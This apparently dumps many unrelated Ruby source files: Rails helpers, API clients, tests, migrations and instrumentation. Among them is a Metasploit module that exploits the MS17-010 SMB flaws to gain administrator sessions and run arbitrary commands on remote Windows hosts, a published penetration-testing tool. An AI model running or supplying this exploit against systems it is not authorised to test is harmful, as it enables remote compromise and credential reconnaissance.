def separator(type)
case type
when :month, :day
@options[:date_separator]
when :hour
(@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
when :minute
@options[:time_separator]
when :second
@options[:include_seconds] ? @options[:time_separator] : ""
end
end
end
class InstanceTag #:nodoc:
def to_date_select_tag(options = {}, html_options = {})
datetime_selector(options, html_options).select_date
end
def to_time_select_tag(options = {}, html_options = {})
datetime_selector(options, html_options).select_time
end
def to_datetime_select_tag(options = {}, html_options = {})
datetime_selector(options, html_options).select_datetime
end
private
def datetime_selector(options, html_options)
datetime = value(object) || default_datetime(options)
options = options.dup
options[:field_name] = @method_name
options[:include_position] = true
options[:prefix] ||= @object_name
options[:index] = @auto_index if @auto_index && !options.has_key?(:index)
options[:datetime_separator] ||= ' — '
options[:time_separator] ||= ' : '
DateTimeSelector.new(datetime, options.merge(:tag => true), html_options)
end
def default_datetime(options)
return if options[:include_blank] || options[:prompt]
case options[:default]
when nil
Time.current
when Date, Time
options[:default]
else
default = options[:default].dup
# Rename :minute and :second to :min and :sec
default[:min] ||= default[:minute]
default[:sec] ||= default[:second]
time = Time.current
[:year, :month, :day, :hour, :min, :sec].each do |key|
default[key] ||= time.send(key)
end
Time.utc_time(
default[:year], default[:month], default[:day],
default[:hour], default[:min], default[:sec]
)
end
end
end
class FormBuilder
def date_select(method, options = {}, html_options = {})
@template.date_select(@object_name, method, objectify_options(options), html_options)
end
def time_select(method, options = {}, html_options = {})
@template.time_select(@object_name, method, objectify_options(options), html_options)
end
def datetime_select(method, options = {}, html_options = {})
@template.datetime_select(@object_name, method, objectify_options(options), html_options)
end
end
end
end
| 50.111566 | 137 | 0.605854 |
e2b2623f8227ce6b7c01614492eca41223fc56db | 2,091 | # encoding: UTF-8
#
# Copyright (c) 2010-2017 GoodData Corporation. All rights reserved.
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
require_relative 'base_action'
module GoodData
module LCM2
class AssociateClients < BaseAction
DESCRIPTION = 'Associate LCM Clients'
PARAMS = define_params(self) do
description 'Client Used for Connecting to GD'
param :gdc_gd_client, instance_of(Type::GdClientType), required: true
end
RESULT_HEADER = [
:id,
:status,
:originalProject,
:client,
:type
]
class << self
def call(params)
# Check if all required parameters were passed
BaseAction.check_params(PARAMS, params)
client = params.gdc_gd_client
domain_name = params.organization || params.domain
domain = client.domain(domain_name) || fail("Invalid domain name specified - #{domain_name}")
params.clients.group_by { |data| data[:segment] }.each do |segment_name, clients|
segment = domain.segments(segment_name)
existing_clients = segment.clients.map(&:id)
clients.each do |c|
segment.create_client(id: c.id) unless existing_clients.include?(c.id)
end
end
domain.update_clients_settings(params.clients)
delete_projects = GoodData::Helpers.to_boolean(params.delete_projects)
delete_extra = GoodData::Helpers.to_boolean(params.delete_extra)
options = { delete_projects: delete_projects }
options.merge!(delete_extra_option(params)) if delete_extra
domain.update_clients(params.clients, options)
end
private
def delete_extra_option(params)
if params.segments_filter && params.segments_filter.any?
{ delete_extra_in_segments: params.segments_filter }
else
{ delete_extra: delete_extra }
end
end
end
end
end
end
| 30.75 | 103 | 0.644189 |
9121e39c4ef545833d640103dd4b3c8612ca77cd | 1,281 | module AspaceUtilities
def self.included receiver
receiver.extend self
end
# Simple utility allow ASpace response data to be passed to methods as either
# JSON (directly from API response) or Hash (when included as a linked record
# in another response which has already been parsed)
# Both formats (JSON and Hash) are returned, and the host method
# must determine which to use for specific purposes
# Params:
# +data+:: API response, either as JSON or parsed as a Ruby hash
def prepare_data(data)
case data
when Hash
hash = ActiveSupport::HashWithIndifferentAccess.new(data)
prepared_data = { :hash => hash, :json => JSON.generate(data) }
when String
hash = ActiveSupport::HashWithIndifferentAccess.new(JSON.parse(data))
prepared_data = { :json => data, :hash => hash }
end
prepared_data
end
# remove all objects from arrays (and nested arrays) for which 'publish' is false
# Params:
# +array+:: Array of ArchivesSpace objects (of any class) as a Ruby hash
def remove_unpublished(array)
array.each do |x|
case x
when Hash
if x['publish'] === false
array.delete(x)
end
when Array
remove_unpublished(x)
end
end
array
end
end
| 28.466667 | 83 | 0.672912 |
33c4056ed9bc9cb8f36c93f39062ff7ad0ade575 | 508 | class CreateDatasets < ActiveRecord::Migration
def up
create_table :datasets do |t|
t.string :name
t.integer :order
t.text :description
t.boolean :is_default, default: false
t.belongs_to :plan, index: true, foreign_key: true
t.timestamps null: false
end
add_reference :answers, :dataset, index: true, foreign_key: true
end
def down
remove_foreign_key :answers, :datasets
remove_reference :answers, :dataset
drop_table :datasets
end
end
| 22.086957 | 68 | 0.685039 |
acd24b29d9c88fffe4034224a5b2cabfdebbf839 | 2,054 | require 'faraday'
# @private
module FaradayMiddleware
# @private
class RaiseHttpException < Faraday::Middleware
def call(env)
@app.call(env).on_complete do |response|
case response[:status].to_i
when 400
raise EPayCo::BadRequest, error_message_400(response)
when 404
raise EPayCo::NotFound, error_message_400(response)
when 429
raise EPayCo::TooManyRequests, error_message_400(response)
when 500
raise EPayCo::InternalServerError, error_message_500(response, "Something is technically wrong.")
when 502
raise EPayCo::BadGateway, error_message_500(response, "The server returned an invalid or incomplete response.")
when 503
raise EPayCo::ServiceUnavailable, error_message_500(response, "EPayCo is rate limiting your requests.")
when 504
raise EPayCo::GatewayTimeout, error_message_500(response, "504 Gateway Time-out")
end
end
end
def initialize(app)
super app
@parser = nil
end
private
def error_message_400(response)
"#{response[:method].to_s.upcase} #{response[:url].to_s}: #{response[:status]}#{error_body(response[:body])}"
end
def error_body(body)
# body gets passed as a string, not sure if it is passed as something else from other spots?
if not body.nil? and not body.empty? and body.kind_of?(String)
# removed multi_json thanks to wesnolte's commit
body = ::JSON.parse(body)
end
if body.nil?
nil
elsif body['meta'] and body['meta']['error_message'] and not body['meta']['error_message'].empty?
": #{body['meta']['error_message']}"
elsif body['error_message'] and not body['error_message'].empty?
": #{body['error_type']}: #{body['error_message']}"
end
end
def error_message_500(response, body=nil)
"#{response[:method].to_s.upcase} #{response[:url].to_s}: #{[response[:status].to_s + ':', body].compact.join(' ')}"
end
end
end
| 34.233333 | 122 | 0.64703 |
f8f8f13e2d6fbd43492f8dd6c8852d95fa7e9435 | 1,265 | =begin
#API v1
#FormAPI is a service that helps you fill out and sign PDF templates.
OpenAPI spec version: v1
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 3.3.0-SNAPSHOT
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for FormAPI::AuthenticationSuccessResponse
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe 'AuthenticationSuccessResponse' do
before do
# run before each test
@instance = FormAPI::AuthenticationSuccessResponse.new
end
after do
# run after each test
end
describe 'test an instance of AuthenticationSuccessResponse' do
it 'should create an instance of AuthenticationSuccessResponse' do
expect(@instance).to be_instance_of(FormAPI::AuthenticationSuccessResponse)
end
end
describe 'test attribute "status"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
# validator = Petstore::EnumTest::EnumAttributeValidator.new('String', ["success"])
# validator.allowable_values.each do |value|
# expect { @instance.status = value }.not_to raise_error
# end
end
end
end
| 27.5 | 102 | 0.742292 |
e892db63c6e544679d0cdaa5ca8f27ab4874001f | 152 | class SetFinishesQuantityDefault < ActiveRecord::Migration
def up
change_column :finishes, :quantity, :integer, null: false, default: 1
end
end
| 25.333333 | 73 | 0.763158 |
628f9975f0d55c706a0df74cd4b95f44369bfa39 | 655 | require_dependency "conductor/application_controller"
STATS_DIRECTORIES = [
%w(Controllers app/controllers),
%w(Helpers app/helpers),
%w(Models app/models),
%w(Libraries lib/),
%w(APIs app/apis),
%w(Integration\ tests test/integration),
%w(Controllers\ tests test/controllers),
%w(Unit\ tests test/models)
].collect { |name, dir| [ name, "#{Rails.root}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
module Conductor
class StatisticsController < ApplicationController
def index
@stats = Conductor::CodeStatistics.new(*STATS_DIRECTORIES)
end
end
end
| 31.190476 | 102 | 0.641221 |
f8319e3d85cfabd5b3b3c45170dbf1711c5ac321 | 254 | require "sequel"
require "securerandom"
Sequel::Model.plugin :timestamps, update_on_create: true
class Order < Sequel::Model
RE_ETH_ADDRESS = %r(^0x\h{40}$)
unrestrict_primary_key
def self.generate_id
(SecureRandom.rand * 2**32).to_i
end
end
| 23.090909 | 56 | 0.744094 |
39b6e1e8572456d7b21f54bf8660ff4cf099236d | 1,726 | module Wongi::Engine
class Graph
def initialize rete
@rete = rete
end
def dot io, opts = { }
@seen_betas = []
if String === io
File.open io, "w" do |actual_io|
dot actual_io
end
return
end
@io = io
@io.puts "digraph {"
dump_alphas(opts) unless opts[:alpha] == false
dump_betas(opts)
@io.puts "}"
ensure
@io = nil
end
private
def print_hash h
h.to_s.gsub /-/, '_'
end
def dump_alphas opts
@io.puts "subgraph cluster_alphas {"
@rete.alphas.select { |alpha| not alpha.betas.empty? }.each do |alpha|
@io.puts "node#{print_hash alpha.object_id} [shape=box label=\"#{alpha.template.to_s.gsub /"/, "\\\""}\"];"
end
@io.puts "};"
end
def dump_betas opts
dump_beta @rete.beta_top, opts
end
def dump_beta beta, opts
return if @seen_betas.include? beta
@seen_betas << beta
@io.puts "node#{print_hash beta.object_id} [label=\"#{beta.class.name.split('::').last}\"];"
if beta.is_a? NccNode
@io.puts "node#{print_hash beta.partner.object_id} -> node#{print_hash beta.object_id};"
@io.puts "{ rank=same; node#{print_hash beta.partner.object_id} node#{print_hash beta.object_id} }"
end
if beta.respond_to? :alpha and opts[:alpha] != false
alpha = beta.alpha
if alpha
@io.puts "node#{print_hash alpha.object_id} -> node#{print_hash beta.object_id};"
end
end
beta.children.each do |child|
@io.puts "node#{print_hash beta.object_id} -> node#{print_hash child.object_id};"
dump_beta child, opts
end
end
end
end
| 23.324324 | 115 | 0.578795 |
184b3dab3faab7969bc0484f3bcb1d454c914f2e | 1,314 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::PolicyInsights::Mgmt::V2019_07_01
module Models
#
# Additional parameters for a set of operations.
#
class QueryOptions
include MsRestAzure
# @return [Integer] Maximum number of records to return.
attr_accessor :top
# @return [String] OData filter expression.
attr_accessor :filter
#
# Mapper for QueryOptions class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
type: {
name: 'Composite',
class_name: 'QueryOptions',
model_properties: {
top: {
client_side_validation: true,
required: false,
type: {
name: 'Number'
}
},
filter: {
client_side_validation: true,
required: false,
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 23.890909 | 70 | 0.515221 |
4a40db7ed273f55612b0240ec007bbda0d93c5c6 | 465 | server ENV['APP_HOST'], roles: %w{app}, user: fetch(:user)
append :linked_files, "docker-compose.local.yml"
namespace :docker do
task :up do
on roles(:all) do |host|
within release_path do
execute :"docker-compose", "pull"
execute :"docker-compose", "-f docker-compose.yml -f docker-compose.local.yml -p #{fetch(:application)} up -d"
end
end
end
end
after "deploy:updated", "docker:up"
after "deploy:rollback", "docker:up"
| 27.352941 | 118 | 0.660215 |
5d9ccddc975d5d5a8008be8bd99569d752674473 | 123 | class ApiRequest < ActiveRecord::Base
def date
created_at.utc.iso8601
end
def self.per_page
10000
end
end
| 12.3 | 37 | 0.707317 |
61fa1821546987e55e717ec242ef9eff02a32497 | 736 | module DownloadOptions
# Download options for an asset of type "audio/", original and an mp3
class AudioDownloadOptions
include Rails.application.routes.url_helpers
attr_reader :asset
def initialize(asset)
@asset = asset
end
def options
options = []
# We don't use content_type in derivative option subheads,
# cause it's in the main label. But do use it for original.
if asset.stored?
options << DownloadOption.with_formatted_subhead("Original file",
url: download_path(asset),
analyticsAction: "download_original",
content_type: asset.content_type,
size: asset.size
)
end
return options
end
end
end
| 23 | 73 | 0.652174 |
e21f334835d82688a5cbf834ab9c85abddfd8b63 | 533 | Pod::Spec.new do |s|
s.name = "NTJsonValues"
s.version = "1.00"
s.summary = "NTJsonValues - A NSDictionary Category to aid parsing JSON values."
s.homepage = "https://github.com/NagelTech/NTJsonValues"
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { "Ethan Nagel" => "[email protected]" }
s.platform = :ios, '6.0'
s.source = { :git => "https://github.com/NagelTech/NTJsonValues.git", :tag => "1.00" }
s.requires_arc = true
s.source_files = '*.{h,m}'
end
| 41 | 94 | 0.579737 |
e8124146236b32047a3e2de3a0bf0104db6dcdde | 230 | lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'utracker'
require 'utracker/mongodb'
drawer = Utracker::MongoDB::Drawer.new
drawer.write_graph("examples/services.dot")
| 25.555556 | 55 | 0.765217 |
e8c02083552eecbd04ec1f793b95ea6dad3aedbe | 1,475 | require 'spec_helper'
require 'pact/provider/configuration/pact_verification'
module Pact
module Provider
module Configuration
describe PactVerification do
describe 'create_verification' do
let(:url) { 'http://some/uri' }
let(:pact_repository_uri_options) do
{
username: 'pact_broker_username',
password: 'pact_broker_password'
}
end
let(:consumer_name) {'some consumer'}
let(:ref) { :prod }
let(:options) { { ref: :prod } }
context "with valid values" do
subject do
uri = url
PactVerification.build(consumer_name, options) do
pact_uri uri, pact_repository_uri_options
end
end
it "creates a Verification" do
pact_uri = Pact::Provider::PactURI.new(url, pact_repository_uri_options)
expect(Pact::Provider::PactVerification).to receive(:new).with(consumer_name, pact_uri, ref)
subject
end
end
context "with a nil uri" do
subject do
PactVerification.build(consumer_name, options) do
pact_uri nil
end
end
it "raises a validation error" do
expect { subject }.to raise_error /Please provide a pact_uri/
end
end
end
end
end
end
end | 28.921569 | 106 | 0.548475 |
875a5829526a7603a54b8f45b0b29eaedd78fe35 | 2,273 | # frozen_string_literal: true
module Inferno
class App
module OAuth2ErrorMessages
def no_instance_for_state_error_message
%(
<p>
Inferno has detected an issue with the SMART launch.
#{param_description}
The authorization server is not returning the correct state variable and
therefore Inferno cannot identify which server is currently under test.
Please click your browser's "Back" button to return to Inferno,
and click "Refresh" to ensure that the most recent test results are visible.
</p>
#{server_error_message}
#{server_error_description}
)
end
def param_description
return "No 'state' parameter was returned by the authorization server." if params[:state].nil?
"No actively running launch sequences found with a 'state' parameter of '#{ERB::Util.html_escape(params[:state])}'."
end
def server_error_message
return '' if params[:error].blank?
"<p>Error returned by server: <strong>#{ERB::Util.html_escape(params[:error])}</strong>.</p>"
end
def server_error_description
return '' if params[:error_description].blank?
"<p>Error description returned by server: <strong>#{params[:error_description]}</strong>.</p>"
end
def bad_state_error_message
"State provided in redirect (#{ERB::Util.html_escape(params[:state])}) does not match expected state (#{ERB::Util.html_escape(@instance.state)})."
end
def no_instance_for_iss_error_message
%(
Error: No actively running launch sequences found for iss #{ERB::Util.html_escape(params[:iss])}.
Please ensure that the EHR launch test is actively running before attempting to launch Inferno from the EHR.
)
end
def unknown_iss_error_message
params[:iss].present? ? "Unknown iss: #{ERB::Util.html_escape(params[:iss])}" : no_iss_error_message
end
def no_iss_error_message
'No iss querystring parameter provided to launch uri'
end
def no_running_test_error_message
'Error: Could not find a running test that matches this set of criteria'
end
end
end
end
| 35.515625 | 154 | 0.659921 |
6235c121df9d7be9d78ba56a6821e8949e935270 | 501 | require 'boker_tov_bot/message_handlers/base_handler'
module BokerTovBot
module MessageHandlers
class ThhHandler < BaseHandler
def initialize(options = {})
@regex = /.*\bט+ח+\b.*/mi
super(options)
end
def match?(message)
@regex.match(message.downcase) ? true : false
end
def response(message)
reply_with_probability(1.0) do
[:text, message.downcase.gsub('ט', 'פ').gsub('ח', 'ף')]
end
end
end
end
end
| 21.782609 | 65 | 0.598802 |
872c11689904126098b941769ce11a8fa5c51a5e | 3,300 | =begin
#RDA Collections API
#API Strawman for RDA Research Data Collections WG
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for CollectionsClient::ServiceFeatures
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'ServiceFeatures' do
before do
# run before each test
@instance = CollectionsClient::ServiceFeatures.new
end
after do
# run after each test
end
describe 'test an instance of ServiceFeatures' do
it 'should create an instact of ServiceFeatures' do
expect(@instance).to be_instance_of(CollectionsClient::ServiceFeatures)
end
end
describe 'test attribute "provides_collection_pids"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "collection_pid_provider_type"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "enforces_access"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "supports_pagination"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "asynchronous_actions"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "rule_based_generation"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "max_expansion_depth"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "provides_versioning"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "supported_collection_operations"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "supported_model_types"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 30.555556 | 103 | 0.737879 |
08637576030e6c82cb7ecc38a1cc920d6fdd43fa | 235 | json.payload do
json.id @contact.id
json.name @contact.name
json.email @contact.email
json.phone_number @contact.phone_number
json.thumbnail @contact.avatar_url
json.additional_attributes @contact.additional_attributes
end
| 26.111111 | 59 | 0.804255 |
ed972389f47a64adafad391b654cf2fad80f7bc8 | 524 | cask 'veusz' do
version '2.0.1'
sha256 'dbf5a1c9ae26f2a40e05bf1afd537ad4927ab41c15a0ad4d717a216909f37ceb'
# github.com/veusz/veusz was verified as official when first introduced to the cask
url "https://github.com/veusz/veusz/releases/download/veusz-#{version}/veusz-#{version}-AppleOSX.dmg"
appcast 'https://github.com/veusz/veusz/releases.atom',
checkpoint: '0467aa1c96bee854e07fbeacb97232e73daa2d15921050f2f850935ea85e292b'
name 'Veusz'
homepage 'https://veusz.github.io/'
app 'Veusz.app'
end
| 37.428571 | 103 | 0.769084 |
39392ba137ec4b00ebd9d8838a5e58e8eee688f3 | 3,287 | # frozen_string_literal: true
RSpec.shared_examples "agency_with_refund examples" do
it "should be able to view revoked reasons" do
should be_able_to(:view_revoked_reasons, WasteCarriersEngine::RenewingRegistration)
end
it "should be able to refund a payment" do
should be_able_to(:refund, WasteCarriersEngine::Registration)
end
it "should be able to cease a registration" do
should be_able_to(:cease, WasteCarriersEngine::Registration)
end
it "should be able to record a cash payment" do
should be_able_to(:record_cash_payment, WasteCarriersEngine::RenewingRegistration)
end
it "should be able to record a cheque payment" do
should be_able_to(:record_cheque_payment, WasteCarriersEngine::RenewingRegistration)
end
it "should be able to cancel a resource" do
should be_able_to(:cancel, WasteCarriersEngine::Registration)
end
it "should be able to record a postal order payment" do
should be_able_to(:record_postal_order_payment, WasteCarriersEngine::RenewingRegistration)
end
it "should be able to view payments" do
should be_able_to(:view_payments, WasteCarriersEngine::RenewingRegistration)
end
context ":reverse" do
context "when the payment is a cash payment" do
let(:payment) { build(:payment, :cash) }
it "should be able to reverse the payment" do
should be_able_to(:reverse, payment)
end
end
context "when the payment is a cheque payment" do
let(:payment) { build(:payment, :cheque) }
it "should be able to reverse the payment" do
should be_able_to(:reverse, payment)
end
end
context "when the payment is a postal order" do
let(:payment) { build(:payment, :postal_order) }
it "should be able to reverse the payment" do
should be_able_to(:reverse, payment)
end
end
context "when the payment is another type" do
let(:payment) { build(:payment) }
it "should not be able to reverse the payment" do
should_not be_able_to(:reverse, payment)
end
end
end
context ":write_off_small" do
let(:finance_details) { build(:finance_details, balance: balance) }
context "when the zero-difference balance is less than the write-off cap for agency users" do
let(:balance) { WasteCarriersBackOffice::Application.config.write_off_agency_user_cap.to_i - 1 }
it "should be able to write off" do
should be_able_to(:write_off_small, finance_details)
end
end
context "when the zero-difference balance is more than the write-off cap for agency users" do
let(:balance) { WasteCarriersBackOffice::Application.config.write_off_agency_user_cap.to_i + 1 }
it "should not be able to write off" do
should_not be_able_to(:write_off_small, finance_details)
end
end
context "when the zero-difference balance is equal to the write-off cap for agency users" do
let(:balance) { WasteCarriersBackOffice::Application.config.write_off_agency_user_cap.to_i }
it "should be able to write off" do
should be_able_to(:write_off_small, finance_details)
end
end
end
it "should be able to revoke a registration" do
should be_able_to(:revoke, WasteCarriersEngine::Registration)
end
end
| 32.22549 | 102 | 0.718588 |
bf0f822480137669d2977a51137899e467982b48 | 723 | #
# Allows
#
module Mailtime
module Mailtimer
extend ActiveSupport::Concern
module ClassMethods
def mailtimer(email_attribute = :email, options = {})
has_many :mailtime_logs, :as => :thing, :class_name => "Mailtime::Log"
cattr_accessor :mailtimer_email_attribute
cattr_accessor :mailtimer_options
self.mailtimer_email_attribute = email_attribute.to_sym
self.mailtimer_options = options.symbolize_keys
end
def find_for_mailtimer(email)
self.find_by(mailtimer_email_attribute => email)
end
def mailtimer?
respond_to?(:mailtimer_email_attribute)
end
alias_method :mailtime_enabled?, :mailtimer?
end
end
end | 24.1 | 78 | 0.688797 |
ff3cd6ac5908d14d92ab7359bcfc515c8f855463 | 1,862 | # frozen_string_literal: true
module AppPerfRpm
module Instruments
module ActiveRecordImport
include AppPerfRpm::Utils
def insert_many_with_trace( sql, values, *args )
if ::AppPerfRpm::Tracer.tracing?
sql_copy = sql.dup
base_sql, post_sql = if sql_copy.dup.is_a?( String )
[sql_copy, '']
elsif sql.is_a?( Array )
[sql_copy.shift, sql_copy.join( ' ' )]
end
adapter = connection_config.fetch(:adapter)
sanitized_sql = sanitize_sql(base_sql + values.join( ',' ) + post_sql, adapter)
span = AppPerfRpm.tracer.start_span(self.class.name || 'sql.query', tags: {
"component" => "ActiveRecordImport",
"span.kind" => "client",
"db.statement" => sanitized_sql,
"db.user" => connection_config.fetch(:username, 'unknown'),
"db.instance" => connection_config.fetch(:database),
"db.vendor" => adapter,
"db.type" => "sql"
})
AppPerfRpm::Utils.log_source_and_backtrace(span, :active_record_import)
end
insert_many_without_trace(sql, values, *args)
rescue Exception => e
if span
span.set_tag('error', true)
span.log_error(e)
end
raise
ensure
span.finish if span
end
end
end
end
if ::AppPerfRpm.config.instrumentation[:active_record_import][:enabled] &&
defined?(ActiveRecord::Import::PostgreSQLAdapter)
AppPerfRpm.logger.info "Initializing activerecord-import tracer."
ActiveRecord::Import::PostgreSQLAdapter.send(:include, AppPerfRpm::Instruments::ActiveRecordImport)
ActiveRecord::Import::PostgreSQLAdapter.class_eval do
alias_method :insert_many_without_trace, :insert_many
alias_method :insert_many, :insert_many_with_trace
end
end
| 32.103448 | 101 | 0.636412 |
62f3639742079905b5368515d8f9f5647355ca54 | 821 | name 'manage_chef_client_task'
maintainer 'Nghiem Ba Hieu'
maintainer_email '[email protected]'
license 'Apache-2.0'
description 'Installs/Configures manage_chef_client_task'
long_description 'Installs/Configures manage_chef_client_task'
version '0.1.0'
chef_version '>= 13.0'
supports 'windows'
depends 'chef-client'
# The `issues_url` points to the location where issues for this cookbook are
# tracked. A `View Issues` link will be displayed on this cookbook's page when
# uploaded to a Supermarket.
#
issues_url 'https://github.com/hieunba/manage-chef-client-task/issues'
# The `source_url` points to the development repository for this cookbook. A
# `View Source` link will be displayed on this cookbook's page when uploaded to
# a Supermarket.
#
source_url 'https://github.com/hieunba/manage-chef-client-task'
| 32.84 | 79 | 0.786845 |
03d95355fbe55d5ee43ba943013d0a6d612cfa8d | 4,823 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',
'Description' => %q{
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
primitive. This will then be used to overwrite the connection session information with as an
Administrator session. From there, the normal psexec command execution is done.
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
named pipe.
},
'Author' => [
'sleepya', # zzz_exploit idea and offsets
'zerosum0x0',
'Shadow Brokers',
'Equation Group'
],
'License' => MSF_LICENSE,
'References' => [
[ 'MSB', 'MS17-010' ],
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
[ 'CVE', '2017-0147'], # for EternalRomance reference
[ 'URL', 'https://github.com/worawit/MS17-010' ],
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
],
'DisclosureDate' => 'Mar 14 2017',
'Notes' =>
{
'AKA' => [
'ETERNALSYNERGY',
'ETERNALROMANCE',
'ETERNALCHAMPION',
'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred
]
}
))
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
])
register_advanced_options([
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
])
deregister_options('RHOST')
end
def run_host(ip)
begin
if datastore['SMBUser'].present?
print_status("Authenticating to #{ip} as user '#{splitname(datastore['SMBUser'])}'...")
end
eternal_pwn(ip) # exploit Admin session
smb_pwn(ip) # psexec
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
print_error("#{e.message}")
rescue ::Errno::ECONNRESET,
::Rex::HostUnreachable,
::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused => e
print_error("#{e.class}: #{e.message}")
rescue => error
print_error(error.class.to_s)
print_error(error.message)
print_error(error.backtrace.join("\n"))
ensure
eternal_cleanup() # restore session
end
end
def smb_pwn(ip)
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
@smbshare = datastore['SMBSHARE']
@ip = ip
# Try and authenticate with given credentials
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
# Report output
print_good("Command completed successfully!")
print_status("Output for \"#{datastore['COMMAND']}\":\n")
print_line("#{output}\n")
report_note(
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
:type => "psexec_command",
:name => datastore['COMMAND'],
:data => output
)
end
end
| 40.872881 | 130 | 0.624922 |
1d1ca09a53f97954cfde605fcd81f0be60403bed | 6,626 | require_relative '../test_helper'
module SmartAnswer
class StartPageContentItemTest < ActiveSupport::TestCase
include GovukContentSchemaTestHelpers::TestUnit
setup do
load_path = fixture_file('smart_answer_flows')
SmartAnswer::FlowRegistry.stubs(:instance).returns(stub("Flow registry", find: @flow, load_path: load_path))
end
def stub_flow_registration_presenter
stub('flow-registration-presenter',
slug: 'flow-slug',
title: 'flow-title',
flows_content: ['question title'],
description: '',
start_page_body: '',
start_page_post_body: '',
start_page_button_text: '',
external_related_links: []
)
end
test '#content_id is the content_id of the presenter' do
presenter = stub_flow_registration_presenter
presenter.stubs(:start_page_content_id).returns('content-id')
content_item = StartPageContentItem.new(presenter)
assert_equal "content-id", content_item.content_id
end
test '#payload returns a valid content-item' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
assert_valid_against_schema(content_item.payload, 'transaction')
end
test '#payload returns a valid content-item with external related links' do
presenter = stub_flow_registration_presenter
presenter.stubs(:external_related_links).returns(
[{ title: "hmrc", url: "https://hmrc.gov.uk" }]
)
content_item = StartPageContentItem.new(presenter)
assert_valid_against_schema(content_item.payload, 'transaction')
end
test '#base_path is the slug of the presenter with a prepended slash' do
presenter = stub_flow_registration_presenter
content_item = StartPageContentItem.new(presenter)
